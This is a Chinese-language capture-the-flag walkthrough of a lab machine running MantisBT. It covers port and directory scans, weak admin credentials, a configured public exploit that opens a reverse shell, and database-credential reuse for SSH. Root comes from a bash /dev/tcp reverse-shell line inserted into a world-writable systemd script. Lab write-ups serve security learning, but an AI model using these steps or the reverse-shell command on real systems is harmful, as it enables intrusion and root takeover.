前言
这是打靶训练的第30周,难度中,靶机下载
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
8082/tcp open http nginx 1.14.2
80页面,就一张竹子图片
使用dirsearch扫扫目录
[16:48:39] 200 - 5KB - /adminer.php
[16:48:48] 301 - 310B - /cms -> http://10.16.122.12/cms/
[16:48:48] 302 - 0B - /cms/ -> site/
[16:49:02] 200 - 164B - /index.html
[16:49:02] 200 - 87KB - /info.php
[16:49:24] 403 - 277B - /server-status
[16:49:24] 403 - 277B - /server-status/
[16:49:31] 401 - 459B - /system
方法一
adminer.php是个数据库连接网页
cms找了找也没啥内容
info.php是phpinfo页面,而来到system页面,要求输入密码
使用admin admin弱口令,成功登录
使用mantis搭建,searchsploit mantis
找到了挺多个exp
因为不知道版本,我就直接选择最新的exp,cp /usr/share/exploitdb/exploits/php/webapps/48818.py .
,下面是修改后的内容
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.headers = {"Authorization":"Basic YWRtaW46YWRtaW4="} # 认证过后的头部
self.RHOST = "10.16.122.12" # 靶机 IP
self.RPORT = "80" # 靶机 端口
self.LHOST = "10.16.122.71" # 反弹 IP
self.LPORT = "4444" # 反弹 端口
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/system" # Location of mantis in URL
在第5行多了一个headers的原因是,此页面是登录过来需要加上认证过后的头部,"Authorization":"Basic YWRtaW46YWRtaW4="
内容f12后,在login_page.php
头部里面。其实换成cookie头,也应该成功的,但我失败了,不知道为什么。
执行后,成功反弹shell
方法二
继续使用dirsearch扫描system
目录,带上头部信息后,python dirsearch.py -u http://10.16.122.12/system --header="Authorization: Basic YWRtaW46YWRtaW4="
[17:21:24] 200 - 1KB - /system/api/
[17:21:31] 200 - 368B - /system/composer.json
[17:21:31] 200 - 10KB - /system/composer.lock
[17:21:31] 301 - 320B - /system/config -> http://10.16.122.12/system/config/
[17:21:31] 200 - 2KB - /system/config/
[17:21:33] 301 - 318B - /system/core -> http://10.16.122.12/system/core/
[17:21:33] 301 - 317B - /system/css -> http://10.16.122.12/system/css/
[17:21:36] 301 - 317B - /system/doc -> http://10.16.122.12/system/doc/
[17:21:36] 200 - 2KB - /system/doc/
[17:21:40] 301 - 319B - /system/fonts -> http://10.16.122.12/system/fonts/
[17:21:43] 301 - 320B - /system/images -> http://10.16.122.12/system/images/
[17:21:43] 200 - 2KB - /system/images/
得到了大量的目录,关键信息在/system/config/
下
a.txt得到数据库信息
在前面我们得到了数据库管理页面,通过上面的数据库信息,成功连接上数据库。并且在mantis_user_table表中获取到了账号
tre
的realname为Tr3@123456A!
,这个更像是ssh连接账号。成功登录
方法三
访问/system/verify.php?id=1&confirm_hash=
可以重置管理员账号
进入后台后,也能看到账号信息
提权
查看拥有root权限,并且允许我们改的文件 find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc" | grep -v "/sys/fs/cgroup"
查看check-system
文件
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
while :
do
echo "Checking...";
sleep 1;
done
来到etc
目录后,查看有哪些文件使用了check-system文件,grep -Ri "check-system" . 2>/dev/null
systemd是一个系统服务,会随着系统启动而启用。而它使用了check-system文件。如果在check-system文件里面加上反弹shell的话。那么重启电脑的时候,我们就可以获取拿到root权限了
编辑check-system文件,插入反弹shell
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
while :
do
echo "Checking...";
/bin/bash -i >& /dev/tcp/10.16.122.71/1234 0>&1
sleep 1;
done
同时也可以使用shutdown命令
重启靶机sudo shutdown -r now
,得到反弹shell